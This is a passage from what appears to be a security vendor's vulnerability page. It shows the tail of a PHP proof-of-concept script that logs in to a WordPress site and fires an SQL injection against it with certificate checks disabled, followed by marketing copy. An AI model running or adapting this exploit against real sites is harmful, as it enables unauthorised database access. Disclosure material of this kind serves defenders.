    curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
    curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    return array('code' => $http_code, 'response' => $response);
}

// Main execution
if (wp_login($target_url, $username, $password)) {
    echo "[+] Authentication successfuln";
    
    $result = exploit_sqli($target_url);
    echo "[+] SQL Injection attempted. HTTP Code: " . $result['code'] . "n";
    echo "[+] Response: " . $result['response'] . "n";
    
    // Clean up
    if (file_exists('cookies.txt')) {
        unlink('cookies.txt');
    }
} else {
    echo "[-] Authentication failedn";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School